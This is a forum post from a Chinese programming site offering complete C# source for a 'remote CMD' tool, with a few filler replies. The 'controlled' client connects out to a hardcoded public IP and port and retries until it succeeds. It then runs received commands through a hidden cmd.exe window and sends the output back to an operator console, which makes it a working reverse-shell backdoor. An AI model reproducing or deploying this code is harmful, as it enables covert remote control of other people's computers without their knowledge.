http://www.sufeinet.com/plugin.php?id=keke_group

苏飞论坛

 找回密码
 马上注册

QQ登录

只需一步,快速开始

分布式系统框架(V2.0) 轻松承载百亿数据,千万流量!讨论专区 - 源码下载 - 官方教程

HttpHelper爬虫框架(V2.7-含.netcore) HttpHelper官方出品,爬虫框架讨论区 - 源码下载 - 在线测试和代码生成

HttpHelper爬虫类(V2.0) 开源的爬虫类,支持多种模式和属性 源码 - 代码生成器 - 讨论区 - 教程- 例子

查看: 11076|回复: 4

[网络] 远程CMD-高手勿喷

[复制链接]
发表于 2014-4-3 21:41:58 | 显示全部楼层 |阅读模式
被控端
[C#] 纯文本查看 复制代码
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Net.Sockets;
using System.Net;
using System.Threading;
using System.IO; 

namespace 远程CMD
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        private Socket socket = null;
        private IPAddress IP = IPAddress.Parse("222.77.211.223");
        private int Port = 8800;
        private IPEndPoint myServer = null;
        private bool isConnected = false;
        private Thread thread;

        private void Form1_Load(object sender, EventArgs e)
        {
            InitCommand();
        }
        private void InitCommand()
        {
            myServer = new IPEndPoint(IP, Port);
            socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            while (!isConnected)
            {
                try
                {
                    socket.Connect(myServer);
                    isConnected = true;
                    thread = new Thread(new ThreadStart(target));//监听命令
                    thread.Start();
                }
                catch (Exception)
                {
                    isConnected = false;
                    Thread.Sleep(3000);//3秒后重新连接
                }
            }
        }
        string comString;
        IPAddress[] arrIPAddresses = Dns.GetHostAddresses(Dns.GetHostName());
        private void target()
        {
            socket.Send(Encoding.UTF8.GetBytes(arrIPAddresses[1].ToString().Replace(":", "").Replace("%", "") + ":md5 \r\n"));
            while (true)
            {
                try
                {
                   comString = ReadFromClient(ref socket);

                }
                catch (Exception)//连接后又断开引发异常
                {
                    isConnected = false;
                    InitCommand();
                    return;
                }

               string command = GetCommand(comString);
               string parameter = GetParameter(comString);
                DoCommand(command,parameter);
            }
        }
        private void DoCommand(string command, string parameter)
        {
            if (command == "cmd" + (arrIPAddresses[1].ToString()).Replace(":", "").Replace("%", ""))
            {
                string x = RunCmd(parameter);
                socket.Send(Encoding.UTF8.GetBytes(x));
            }

        }
        //读取客户端发送的消息
        private string ReadFromClient(ref Socket socket)
        {
            byte[] byteMessage = new byte[1024];
            socket.Receive(byteMessage);
            string command = System.Text.Encoding.UTF8.GetString(byteMessage, 0, byteMessage.Length);
            int n = command.IndexOf("End");
            command = command.Substring(0, n);
            return command;
        }
        //获取用户命令
        private string GetCommand(string aimString)
        {
            int n = aimString.IndexOf(" ");
            if (n != -1)
            {
                string com = aimString.Substring(0, n);
                return com;
            }
            else
            {
                return aimString;
            }
        }
        //获取命令参数
        private string GetParameter(string aimString)
        {
            int n = aimString.IndexOf(" ");
            if (n != -1)
            {
                string para = aimString.Substring(n + 1, aimString.Length - n - 1);
                return para;
            }
            else
            {
                return " ";
            }
        }




        //运行一个cmd命令
        public static string RunCmd(string command)
        {
            Process p = new Process();

            //Process0有一0StartInfo0性,00是ProcessStartInfo0,包括了一些0性和方法,下面我0用到了他的000性:p.StartInfo.WorkingDirectory = "c:\\";
            p.StartInfo.FileName = "cmd.exe";           //設定程序名
            p.StartInfo.Arguments = "/c " + command;    //設定程式執行參數
            p.StartInfo.UseShellExecute = false;        //關閉Shell的使用
            p.StartInfo.RedirectStandardInput = true;   //重定向標準輸入
            p.StartInfo.RedirectStandardOutput = true;  //重定向標準輸出
            p.StartInfo.RedirectStandardError = true;   //重定向錯誤輸出
            p.StartInfo.CreateNoWindow = true;          //設置不顯示窗口
            p.Start();   //啟動
            return p.StandardOutput.ReadToEnd();        //從輸出流取得命令執行結果
        }

        private void button1_Click(object sender, EventArgs e)
        {

         //   MessageBox.Show(GetMyDriveInfo());
        }

    }
}

操作端
[C#] 纯文本查看 复制代码
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.Net;
using System.Threading;

namespace 控制端
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        private static byte[] result = new byte[512000];
        private static int myProt = 8800;   //端口  
        static Socket serverSocket;
        Socket clientSocket;
        IPAddress ip = IPAddress.Parse("192.168.1.2");
        private delegate void ReadFile(object filePath);

        private void Form1_Load(object sender, EventArgs e)
        {
            serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            serverSocket.Bind(new IPEndPoint(ip, myProt));  //绑定IP地址:端口  
            serverSocket.Listen(100);    //设定最多10个排队连接请求  
            Thread myThread = new Thread(ListenClientConnect);
            myThread.Start();
        }

        private delegate void Updater3(ListView lv, ListViewItem l);
        private void ListenClientConnect()
        {
            while (true)
            {
                clientSocket = serverSocket.Accept();
                Thread receiveThread = new Thread(ReceiveMessage);
                receiveThread.Start(clientSocket);
            }
        }
        public void AddListViewItem(ListView lv, ListViewItem l)
        {
            lv.Items.Add(l);
        }
        private void ReceiveMessage(object clientSocket)
        {
            Socket myClientSocket = (Socket)clientSocket;


            ListViewItem lv = new ListViewItem();
            lv.Text = myClientSocket.RemoteEndPoint.ToString();
            ListViewItem.ListViewSubItem s1 = new ListViewItem.ListViewSubItem();
            s1.Text = "Null";
            ListViewItem.ListViewSubItem s2 = new ListViewItem.ListViewSubItem();
            s2.Text = "Null";
            lv.SubItems.AddRange(new ListViewItem.ListViewSubItem[] { s1, s2 });
            listView8.Invoke(new Updater3(AddListViewItem), new object[] { listView8, lv });

            while (true)
            {
                try
                {
                    int receiveNumber = myClientSocket.Receive(result);
                    string x = Encoding.UTF8.GetString(result, 0, receiveNumber);
                    this.Invoke(new ReadFile(ReadFileContent), x);
                }
                catch
                { }
            }
        }


        private void ReadFileContent(object filePath)
        {
            this.textBox1.AppendText(filePath.ToString());
        }


        private void button1_Click_1(object sender, EventArgs e)
        {
            clientSocket.Send(Encoding.ASCII.GetBytes(textBox2.Text.ToString()));
        }

    }
}






1. 开通SVIP会员,免费下载本站所有源码,不限次数据,不限时间
2. 加官方QQ群,加官方微信群获取更多资源和帮助
3. 找站长苏飞做网站、商城、CRM、小程序、App、爬虫相关、项目外包等点这里
发表于 2014-4-4 07:56:31 | 显示全部楼层
我只是路过看看的。
发表于 2014-4-4 11:43:47 | 显示全部楼层
受教了,学习中……
发表于 2019-6-1 12:12:07 | 显示全部楼层
我只是路过打酱油的。
发表于 2019-10-16 19:33:34 | 显示全部楼层
我是友情帮顶的
您需要登录后才可以回帖 登录 | 马上注册

本版积分规则

QQ|手机版|小黑屋|手机版|联系我们|关于我们|广告合作|苏飞论坛 ( 豫ICP备18043678号-2)

GMT+8, 2024-3-28 19:09

© 2014-2021

快速回复 返回顶部 返回列表